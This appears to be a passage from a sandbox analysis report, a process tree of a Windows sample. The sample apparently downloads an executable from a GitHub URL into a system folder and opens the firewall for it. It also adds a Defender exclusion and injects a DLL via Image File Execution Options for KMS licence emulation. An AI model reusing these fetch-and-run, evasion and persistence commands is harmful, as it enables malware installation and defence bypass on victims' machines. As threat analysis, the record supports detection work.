        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/VAN' -OutFile 'C:\Windows\Help\service\wininitt.exe'"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3988
        
        C:\Windows\Help\service\wininitt.exe
        
        C:\Windows\Help\service\wininitt.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5252
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\Help\service\wininitt.exe" "wininitt.exe" ENABLE
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:3700
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\active.bat""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1836
- - C:\Windows\system32\cmd.exe
    cmd /v:on /c echo(^!param^!
    3⤵
    PID:2436
- - C:\Windows\system32\findstr.exe
    findstr /R "[| ` ~ ! @ % \^ & ( ) \[ \] { } + = ; ' , |]*^"
    3⤵
    PID:992
- - C:\Windows\system32\reg.exe
    reg query HKLM\SYSTEM\CurrentControlSet\Services\WinMgmt /v Start
    3⤵
    - Modifies registry key
    PID:4420
- - C:\Windows\system32\find.exe
    find /i "0x4"
    3⤵
    PID:4784
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path Win32_ComputerSystem get CreationClassName /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4888
- - C:\Windows\system32\find.exe
    find /i "ComputerSystem"
    3⤵
    PID:4376
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c $ExecutionContext.SessionState.LanguageMode
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2256
- - C:\Windows\system32\find.exe
    find /i "Full"
    3⤵
    PID:4304
- - C:\Windows\system32\reg.exe
    reg query HKU\S-1-5-19
    3⤵
    PID:4564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4456
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop
      4⤵
      PID:2436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4356
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR
      4⤵
      PID:1668
- - C:\Windows\system32\reg.exe
    reg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled
    3⤵
    PID:4104
- - C:\Windows\system32\find.exe
    find /i "0x0"
    3⤵
    PID:4664
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled
    3⤵
    PID:2792
- - C:\Windows\system32\find.exe
    find /i "0x0"
    3⤵
    PID:4516
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Console" /v ForceV2
    3⤵
    PID:4852
- - C:\Windows\system32\find.exe
    find /i "0x0"
    3⤵
    PID:4644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\skus
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2180
- - C:\Windows\system32\sc.exe
    sc query osppsvc
    3⤵
    - Launches sc.exe
    PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\addons 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2256
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"
    3⤵
    PID:4564
- - C:\Windows\system32\mode.com
    mode con cols=80 lines=34
    3⤵
    PID:4412
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:4372
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:384
- - C:\Windows\system32\findstr.exe
    findstr /i /r ".*retail"
    3⤵
    PID:1668
- - C:\Windows\system32\findstr.exe
    findstr /i /v "project visio"
    3⤵
    PID:4356
- - C:\Windows\system32\find.exe
    find /i "0x2"
    3⤵
    PID:5076
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:4360
- - C:\Windows\system32\findstr.exe
    findstr /i /r ".*retail"
    3⤵
    PID:3716
- - C:\Windows\system32\findstr.exe
    findstr /i /v "project visio"
    3⤵
    PID:4728
- - C:\Windows\system32\find.exe
    find /i "0x3"
    3⤵
    PID:1900
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:2180
- - C:\Windows\system32\findstr.exe
    findstr /i /r ".*volume"
    3⤵
    PID:2756
- - C:\Windows\system32\findstr.exe
    findstr /i /v "project visio"
    3⤵
    PID:2004
- - C:\Windows\system32\find.exe
    find /i "0x2"
    3⤵
    PID:3368
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:1712
- - C:\Windows\system32\findstr.exe
    findstr /i /r ".*volume"
    3⤵
    PID:4456
- - C:\Windows\system32\findstr.exe
    findstr /i /v "project visio"
    3⤵
    PID:2436
- - C:\Windows\system32\find.exe
    find /i "0x3"
    3⤵
    PID:4888
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:1236
- - C:\Windows\system32\findstr.exe
    findstr /i /r "project.*"
    3⤵
    PID:4936
- - C:\Windows\system32\find.exe
    find /i "0x2"
    3⤵
    PID:4852
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:1900
- - C:\Windows\system32\findstr.exe
    findstr /i /r "project.*"
    3⤵
    PID:4304
- - C:\Windows\system32\find.exe
    find /i "0x3"
    3⤵
    PID:3988
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:312
- - C:\Windows\system32\findstr.exe
    findstr /i /r "visio.*"
    3⤵
    PID:112
- - C:\Windows\system32\find.exe
    find /i "0x2"
    3⤵
    PID:3740
- - C:\Windows\system32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext
    3⤵
    - Modifies registry key
    PID:2004
- - C:\Windows\system32\findstr.exe
    findstr /i /r "visio.*"
    3⤵
    PID:4132
- - C:\Windows\system32\find.exe
    find /i "0x3"
    3⤵
    PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %B in (1) do rem"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2936
- - C:\Windows\system32\mode.com
    mode con cols=100 lines=34
    3⤵
    PID:1668
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5008
- - C:\Windows\system32\Wbem\WMIC.exe
    WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="C:\Windows\Sysnative\SppExtComObjHook.dll" Force=True
    3⤵
    PID:2888
- - C:\Windows\system32\sc.exe
    sc query sppsvc
    3⤵
    - Launches sc.exe
    PID:388
- - C:\Windows\system32\find.exe
    find /i "STOPPED"
    3⤵
    PID:1852
- - C:\Windows\system32\net.exe
    net stop sppsvc /y
    3⤵
    PID:4360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sppsvc /y
      4⤵
      PID:560
- - C:\Windows\system32\sc.exe
    sc query sppsvc
    3⤵
    - Launches sc.exe
    PID:4664
- - C:\Windows\system32\find.exe
    find /i "STOPPED"
    3⤵
    PID:5108
- - C:\Windows\system32\sc.exe
    sc stop sppsvc
    3⤵
    - Launches sc.exe
    PID:4644
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c "$d='C:\Windows\System32';$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':embdbin\:.*';iex ($f[1]);X 2"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4832
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\Temp\culypuzr\culypuzr.cmdline"
      4⤵
      PID:5204
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\Temp\RES2083.tmp" "c:\Windows\Temp\culypuzr\CSCA81D62C3387A4CFB8E8112ED8A46FF4.TMP"
        5⤵
        
        PID:5288
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v Debugger
    3⤵
    PID:5380
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierDlls /t REG_SZ /d "SppExtComObjHook.dll"
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5396
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierDebug /t REG_DWORD /d 0x00000000
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5412
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierFlags /t REG_DWORD /d 0x80000000
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5424
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v GlobalFlag /t REG_DWORD /d 0x00000100
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5440
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_Emulation /t REG_DWORD /d 1
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5456
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 120
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5472
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 10080
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_HWID /t REG_QWORD /d "0x3A1C049600B60076"
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5500
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v Debugger
    3⤵
    PID:5548
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierDlls /t REG_SZ /d "SppExtComObjHook.dll"
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5580
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierDebug /t REG_DWORD /d 0x00000000
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5596
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierFlags /t REG_DWORD /d 0x80000000
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5612
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v GlobalFlag /t REG_DWORD /d 0x00000100
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5640
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_Emulation /t REG_DWORD /d 1
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5656
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 120
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5676
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 10080
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5688
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"
    3⤵
    PID:5700
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon"
    3⤵
    PID:5744
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"
    3⤵
    PID:5768
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':spptask\:.*'; [IO.File]::WriteAllText('SvcTrigger.xml',$f[1].Trim(),[System.Text.Encoding]::Unicode)"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5792
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger" /xml "C:\Windows\Temp\SvcTrigger.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5952
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"
    3⤵
    PID:5980
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6024
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform" /v NoGenTicket /t REG_DWORD /d 1 /f
    3⤵
    PID:5160
- - C:\Windows\system32\sc.exe
    sc query sppsvc
    3⤵
    - Launches sc.exe
    PID:5148
- - C:\Windows\system32\find.exe
    find /i "STOPPED"
    3⤵
    PID:5200
- - C:\Windows\system32\net.exe
    net stop sppsvc /y
    3⤵
    PID:3076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sppsvc /y
      4⤵
      PID:5224
- - C:\Windows\system32\sc.exe
    sc query sppsvc
    3⤵
    - Launches sc.exe
    PID:3976
- - C:\Windows\system32\find.exe
    find /i "STOPPED"
    3⤵
    PID:2760
- - C:\Windows\system32\sc.exe
    sc stop sppsvc
    3⤵
    - Launches sc.exe
    PID:1076
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 120
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 10080
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_HWID /t REG_QWORD /d "0x3A1C049600B60076"
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3368
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 120
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3452
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 10080
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3880
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"
    3⤵
    PID:388
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"
    3⤵
    PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k 2>nul | FIND /I "CurrentVersion"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2108
  - - C:\Windows\system32\reg.exe
      REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k
      4⤵
      PID:5036
  - - C:\Windows\system32\find.exe
      FIND /I "CurrentVersion"
      4⤵
      PID:2812
- - C:\Windows\system32\reg.exe
    REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.1288" /v "CurrentState"
    3⤵
    PID:5296
- - C:\Windows\system32\find.exe
    FIND /I "0x70"
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ECHO Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.1288
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4452
- - C:\Windows\system32\reg.exe
    REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.264" /v "CurrentState"
    3⤵
    PID:4284
- - C:\Windows\system32\find.exe
    FIND /I "0x70"
    3⤵
    PID:1808
- - C:\Windows\system32\net.exe
    net start sppsvc /y
    3⤵
    PID:4040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start sppsvc /y
      4⤵
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL" get LicenseFamily /value 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4712
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL" get LicenseFamily /value
      4⤵
      PID:4460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5348
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
      4⤵
      PID:4360
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath
    3⤵
    - Modifies registry key
    PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4644
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:5188
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:5392
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath
    3⤵
    - Modifies registry key
    PID:5380
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\CVH /f Click2run /k
    3⤵
    - Modifies registry key
    PID:5396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5428
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5440
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5480
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5500
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5588
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5604
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5576
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5644
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
      4⤵
      Modifies registry key
      PID:5660
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"MondoVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5676
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlusVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:2924
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectProVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5704
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioProVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:3060
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"StandardVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5748
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStdVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5632
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStdVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5772
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"AccessVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:664
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusinessVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5876
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OneNoteVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5892
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ExcelVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5908
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OutlookVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5836
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPointVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5816
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PublisherVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5840
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"WordVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5848
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectProXVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5856
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStdXVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5808
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioProXVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5800
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStdXVolume" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5964
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"MondoRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6072
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlusRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6104
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectProRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6020
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioProRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6012
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"StandardRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6048
- - C:\Windows\system32\findstr.exe
